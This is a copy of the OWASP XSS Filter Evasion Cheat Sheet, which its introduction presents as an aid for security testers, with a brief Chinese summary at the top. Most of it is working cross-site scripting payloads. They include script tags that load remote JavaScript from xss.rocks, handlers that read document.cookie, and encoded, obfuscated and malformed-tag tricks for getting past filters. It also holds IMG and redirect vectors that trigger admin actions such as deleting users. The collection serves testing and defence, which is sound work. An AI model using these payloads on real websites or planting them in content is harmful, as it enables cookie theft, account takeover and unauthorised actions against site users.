XSS CSS Cross SiteScript 跨站脚本攻击
小结:
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user’s machine under the guise of the vulnerable site.
XSS Filter Evasion Cheat Sheet | OWASP https://owasp.org/www-community/xss-filter-evasion-cheatsheet
XSS Filter Evasion Cheat Sheet
Contributor(s): Abdullah Hussam, Michael McCabe, Luke Plant, Randomm, David Shaw, ALange, Matt Tesauro, Adam Caudill, Anandu, DhirajMishra, Ono, Bill Sempf, Dan Wallis, Peter Mosmans, Dominique Righetto, Agit Kaplan, kingthorin
Introduction
This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html
. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the Cross Site Scripting Prevention Cheat Sheet, was inspired by RSnake’s XSS Cheat Sheet, so we can thank RSnake for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the OWASP Cheat Sheet Series was born.
Tests
This cheat sheet lists a series of XSS attacks that can be used to bypass certain XSS defensive filters. Please note that input filtering is an incomplete defense for XSS which these tests can be used to illustrate.
Basic XSS Test Without Filter Evasion
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
XSS Locator (Polygot)
The following is a “polygot test XSS payload.” This test will execute in multiple contexts including html, script string, js and url. Thank you to Gareth Heyes for this contribution.
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
Image XSS Using the JavaScript Directive
Image XSS using the JavaScript directive (IE7.0 doesn’t support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:
<IMG SRC="javascript:alert('XSS');">
No Quotes and no Semicolon
<IMG SRC=javascript:alert('XSS')>
Case Insensitive XSS Attack Vector
<IMG SRC=JaVaScRiPt:alert('XSS')>
HTML Entities
The semicolons are required for this to work:
<IMG SRC=javascript:alert("XSS")>
Grave Accent Obfuscation
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don’t know about grave accents:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
Malformed A Tags
Skip the HREF attribute and get to the meat of the XXS… Submitted by David Cross ~ Verified on Chrome
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
or Chrome loves to replace missing quotes for you… if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
Malformed IMG Tags
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tags:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
fromCharCode
If no quotes of any kind are allowed you can eval()
a fromCharCode
in JavaScript to create any XSS vector you need:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
Default SRC Tag to Get Past Filters that Check SRC Domain
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur
, onclick
giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .
Edited by Abdullah Hussam(@Abdulahhusam).
<IMG SRC=# onmouseover="alert('xxs')">
Default SRC Tag by Leaving it Empty
<IMG SRC= onmouseover="alert('xxs')">
Default SRC Tag by Leaving it out Entirely
<IMG onmouseover="alert('xxs')">
On Error Alert
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
IMG onerror and JavaScript Alert Encode
<img src=x onerror="javascript:alert('XSS')">
Decimal HTML Character References
All of the XSS examples that use a javascript: directive inside of an <IMG
tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).
<IMG SRC=javascript:alert('XSS')>
Decimal HTML Character References Without Trailing Semicolons
This is often effective in XSS that attempts to look for “&#XX;”, since most people don’t know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I’ve seen this in the wild):
<IMG SRC=javascript:alert('XSS')>
Hexadecimal HTML Character References Without Trailing Semicolons
This is also a viable XSS attack against the above string $tmp_string=~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
<IMG SRC=javascript:alert('XSS')>
Embedded Tab
Used to break up the cross site scripting attack:
<IMG SRC="jav ascript:alert('XSS');">
Embedded Encoded Tab
Use this one to break up XSS :
<IMG SRC="jav	ascript:alert('XSS');">
Embedded Newline to Break-up XSS
Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:
<IMG SRC="jav
ascript:alert('XSS');">
Embedded Carriage Return to Break-up XSS
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I’ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
<IMG SRC="jav
ascript:alert('XSS');">
Null breaks up JavaScript Directive
Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00
in the URL string or if you want to write your own injection tool you can either use vim (^V^@
will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00
is much more useful and helped me bypass certain real world filters with a variation on this example:
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
Spaces and Meta Chars Before the JavaScript in Images for XSS
This is useful if the pattern match doesn’t take into account spaces in the word javascript:
-which is correct since that won’t render- and makes the false assumption that you can’t have a space between the quote and the javascript:
keyword. The actual reality is you can have any char from 1-32 in decimal:
<IMG SRC="  javascript:alert('XSS');">
Non-alpha-non-digit XSS
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example \<SCRIPT\\s
!= \<SCRIPT/XSS\\s
:
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc…) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the system does not allow spaces.
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
Extraneous Open Brackets
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:
<<SCRIPT>alert("XSS");//\<</SCRIPT>
No Closing Script Tags
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don’t actually need the \></SCRIPT>
portion of this Cross Site Scripting vector. Firefox assumes it’s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn’t effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they’re not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
Protocol Resolution in Script Tags
This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh’s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT>
tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The “.j” is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.
<SCRIPT SRC=//xss.rocks/.j>
Half Open HTML/JavaScript XSS Vector
Unlike Firefox the IE rendering engine doesn’t add extra data to you page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn’t require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close “>” tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/
because it doesn’t require the end “>”. As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME
tag instead of an <IMG
tag:
<IMG SRC="
`('XSS')"`
Double Open Angle Brackets
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won’t:
<iframe src=http://xss.rocks/scriptlet.html <
Escaping JavaScript Escapes
When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY\_STRING}";</SCRIPT>
and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this gets injected it will read <SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>
which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:
\";alert('XSS');//
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML encoding, is to finish the script block and start your own:
</script><script>alert('XSS');</script>
End Title Tag
This is a simple XSS vector that closes <TITLE>
tags, which can encapsulate the malicious cross site scripting attack:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT Image
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
BODY Image
<BODY BACKGROUND="javascript:alert('XSS')">
IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
IMG Lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
List-style-image
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
VBscript in an Image
<IMG SRC='vbscript:msgbox("XSS")'>
Livescript (older versions of Netscape only)
<IMG SRC="livescript:[code]">
SVG Object Tag
<svg/onload=alert('XSS')>
ECMAScript 6
Set.constructor`alert\x28document.domain\x29
BODY Tag
Method doesn’t require using any variants of javascript:
or <SCRIPT...
to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign (onload=
!= onload =
):
<BODY ONLOAD=alert('XSS')>
Event Handlers
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.
The Dottoro Web Reference also has a nice list of events in JavaScript.
FSCommand()
(attacker can use this when executed from within an embedded Flash object)onAbort()
(when user aborts the loading of an image)onActivate()
(when object is set as the active element)onAfterPrint()
(activates after user prints or previews print job)onAfterUpdate()
(activates on data object after updating data in the source object)onBeforeActivate()
(fires before the object is set as the active element)onBeforeCopy()
(attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with theexecCommand("Copy")
function)onBeforeCut()
(attacker executes the attack string right before a selection is cut)onBeforeDeactivate()
(fires right after the activeElement is changed from the current object)onBeforeEditFocus()
(Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)onBeforePaste()
(user needs to be tricked into pasting or be forced into it using theexecCommand("Paste")
function)onBeforePrint()
(user would need to be tricked into printing or attacker could use theprint()
orexecCommand("Print")
function).onBeforeUnload()
(user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)onBeforeUpdate()
(activates on data object before updating data in the source object)onBegin()
(the onbegin event fires immediately when the element’s timeline begins)onBlur()
(in the case where another popup is loaded and window looses focus)onBounce()
(fires when the behavior property of the marquee object is set to “alternate” and the contents of the marquee reach one side of the window)onCellChange()
(fires when data changes in the data provider)onChange()
(select, text, or TEXTAREA field loses focus and its value has been modified)onClick()
(someone clicks on a form)onContextMenu()
(user would need to right click on attack area)onControlSelect()
(fires when the user is about to make a control selection of the object)onCopy()
(user needs to copy something or it can be exploited using theexecCommand("Copy")
command)onCut()
(user needs to copy something or it can be exploited using theexecCommand("Cut")
command)onDataAvailable()
(user would need to change data in an element, or attacker could perform the same function)onDataSetChanged()
(fires when the data set exposed by a data source object changes)onDataSetComplete()
(fires to indicate that all data is available from the data source object)onDblClick()
(user double-clicks a form element or a link)onDeactivate()
(fires when the activeElement is changed from the current object to another object in the parent document)onDrag()
(requires that the user drags an object)onDragEnd()
(requires that the user drags an object)onDragLeave()
(requires that the user drags an object off a valid location)onDragEnter()
(requires that the user drags an object into a valid location)onDragOver()
(requires that the user drags an object into a valid location)onDragDrop()
(user drops an object (e.g. file) onto the browser window)onDragStart()
(occurs when user starts drag operation)onDrop()
(user drops an object (e.g. file) onto the browser window)onEnd()
(the onEnd event fires when the timeline ends.onError()
(loading of a document or image causes an error)onErrorUpdate()
(fires on a databound object when an error occurs while updating the associated data in the data source object)onFilterChange()
(fires when a visual filter completes state change)onFinish()
(attacker can create the exploit when marquee is finished looping)onFocus()
(attacker executes the attack string when the window gets focus)onFocusIn()
(attacker executes the attack string when window gets focus)onFocusOut()
(attacker executes the attack string when window looses focus)onHashChange()
(fires when the fragment identifier part of the document’s current address changed)onHelp()
(attacker executes the attack string when users hits F1 while the window is in focus)onInput()
(the text content of an element is changed through the user interface)onKeyDown()
(user depresses a key)onKeyPress()
(user presses or holds down a key)onKeyUp()
(user releases a key)onLayoutComplete()
(user would have to print or print preview)onLoad()
(attacker executes the attack string after the window loads)onLoseCapture()
(can be exploited by thereleaseCapture()
method)onMediaComplete()
(When a streaming media file is used, this event could fire before the file starts playing)onMediaError()
(User opens a page in the browser that contains a media file, and the event fires when there is a problem)onMessage()
(fire when the document received a message)onMouseDown()
(the attacker would need to get the user to click on an image)onMouseEnter()
(cursor moves over an object or area)onMouseLeave()
(the attacker would need to get the user to mouse over an image or table and then off again)onMouseMove()
(the attacker would need to get the user to mouse over an image or table)onMouseOut()
(the attacker would need to get the user to mouse over an image or table and then off again)onMouseOver()
(cursor moves over an object or area)onMouseUp()
(the attacker would need to get the user to click on an image)onMouseWheel()
(the attacker would need to get the user to use their mouse wheel)onMove()
(user or attacker would move the page)onMoveEnd()
(user or attacker would move the page)onMoveStart()
(user or attacker would move the page)onOffline()
(occurs if the browser is working in online mode and it starts to work offline)onOnline()
(occurs if the browser is working in offline mode and it starts to work online)onOutOfSync()
(interrupt the element’s ability to play its media as defined by the timeline)onPaste()
(user would need to paste or attacker could use theexecCommand("Paste")
function)onPause()
(the onpause event fires on every element that is active when the timeline pauses, including the body element)onPopState()
(fires when user navigated the session history)onProgress()
(attacker would use this as a flash movie was loading)onPropertyChange()
(user or attacker would need to change an element property)onReadyStateChange()
(user or attacker would need to change an element property)onRedo()
(user went forward in undo transaction history)onRepeat()
(the event fires once for each repetition of the timeline, excluding the first full cycle)onReset()
(user or attacker resets a form)onResize()
(user would resize the window; attacker could auto initialize with something like:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResizeEnd()
(user would resize the window; attacker could auto initialize with something like:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResizeStart()
(user would resize the window; attacker could auto initialize with something like:<SCRIPT>self.resizeTo(500,400);</SCRIPT>
)onResume()
(the onresume event fires on every element that becomes active when the timeline resumes, including the body element)onReverse()
(if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)onRowsEnter()
(user or attacker would need to change a row in a data source)onRowExit()
(user or attacker would need to change a row in a data source)onRowDelete()
(user or attacker would need to delete a row in a data source)onRowInserted()
(user or attacker would need to insert a row in a data source)onScroll()
(user would need to scroll, or attacker could use thescrollBy()
function)onSeek()
(the onreverse event fires when the timeline is set to play in any direction other than forward)onSelect()
(user needs to select some text - attacker could auto initialize with something like:window.document.execCommand("SelectAll");
)onSelectionChange()
(user needs to select some text - attacker could auto initialize with something like:window.document.execCommand("SelectAll");
)onSelectStart()
(user needs to select some text - attacker could auto initialize with something like:window.document.execCommand("SelectAll");
)onStart()
(fires at the beginning of each marquee loop)onStop()
(user would need to press the stop button or leave the webpage)onStorage()
(storage area changed)onSyncRestored()
(user interrupts the element’s ability to play its media as defined by the timeline to fire)onSubmit()
(requires attacker or user submits a form)onTimeError()
(user or attacker sets a time property, such as dur, to an invalid value)onTrackChange()
(user or attacker changes track in a playList)onUndo()
(user went backward in undo transaction history)onUnload()
(as the user clicks any link or presses the back button or attacker forces a click)onURLFlip()
(this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)seekSegmentTime()
(this is a method that locates the specified point on the element’s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
& JavaScript includes
<BR SIZE="&{alert('XSS')}">
STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
Remote style sheet
Using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression. This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won’t work unless there is some content on the page other than the vector itself, so you’ll need to add a single letter to the page to make it work if it’s an otherwise blank page:
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">
Remote style sheet part 2
This works the same as above, but uses a <STYLE>
tag instead of a <LINK>
tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE>
tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
Remote style sheet part 3
This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://xss.rocks/xss.css>; REL=stylesheet
) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
Remote style sheet part 4
This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
STYLE Tags with Broken-up JavaScript for XSS
This XSS at times sends IE into an infinite loop of alerts:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
STYLE Attribute using a Comment to Break-up Expression
Created by Roman Ivanov
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
IMG STYLE with Expression
This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
STYLE Tag (Older versions of Netscape only)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
STYLE Tag using Background-image
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
STYLE Tag using Background
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>
Anonymous HTML with STYLE Attribute
IE6.0 and Netscape 8.1+ in IE rendering engine mode don’t really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:
<XSS STYLE="xss:expression(alert('XSS'))">
Local htc File
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII Encoding
US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.
¼script¾alert(¢XSS¢)¼/script¾
META
The odd thing about meta refresh is that it doesn’t send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
META using Data
Directive URL scheme. This is nice because it also doesn’t have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
META with Additional URL Parameter
If the target website attempts to see if the URL contains <http://>;
at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
IFRAME
If iframes are allowed there are a lot of other XSS problems as well:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
IFRAME Event Based
IFrames and most other elements can use event based mayhem like the following… (Submitted by: David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
FRAME
Frames have the same sorts of XSS problems as iframes
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
TD
Just like above, TD’s are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV
DIV Background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV Background-image with Unicoded XSS Exploit
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
DIV Background-image Plus Extra Characters
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV Expression
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and “expression”:
<DIV STYLE="width: expression(alert('XSS'));">
Downlevel-Hidden Block
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn’t do the job:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
BASE Tag
Works in IE and Netscape 8.1 in safe mode. You need the //
to comment out the next characters so you won’t get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like images/image.jpg
rather than full paths. If the path includes a leading forward slash like /images/image.jpg
you can remove one slash from this vector (as long as there are two to begin the comment this will work):
<BASE HREF="javascript:alert('XSS');//">
OBJECT Tag
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
EMBED a Flash Movie That Contains XSS
Click here for a demo: http://ha.ckers.org/xss.swf
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
If you add the attributes allowScriptAccess="never"
and allownetworking="internal"
it can mitigate this risk (thank you to Jonathan Vanasco for the info).
EMBED SVG Which Contains XSS Vector
This example only works in Firefox, but it’s better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
Using ActionScript Inside Flash for Obfuscation
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
XML Data Island with CDATA Obfuscation
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
Locally hosted XML with embedded JavaScript that is generated using an XML data island
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
HTML+TIME in XML
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
Assuming you can only fit in a few characters and it filters against .js
You can rename your JavaScript file to an image as an XSS vector:
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
SSI (Server Side Includes)
This requires SSI to be installed on the server to use this XSS vector. I probably don’t need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
PHP
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
IMG Embedded Commands
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc…. This is one of the lesser used but more useful XSS vectors:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
IMG Embedded Commands part II
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="httx://badguy.com/a.jpg">
could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Cookie Manipulation
Admittedly this is pretty obscure but I have seen a few examples where <META
is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim’s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc…):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
UTF-7 Encoding
If the page that the XSS resides on doesn’t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don’t need the charset statement if the user’s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google’s custom 404 script.:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
XSS Using HTML Quote Encapsulation
This was tested in IE, your mileage may vary. For performing XSS on sites that allow <SCRIPT>
but don’t allow <SCRIPT SRC...
by way of a regex filter /\<script\[^\>\]+src/i
:
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
For performing XSS on sites that allow <SCRIPT>
but don’t allow \<script src...
by way of a regex filter /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
(this is an important one, because I’ve seen this regex in the wild):
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
Another XSS to evade the same filter, /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
:
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
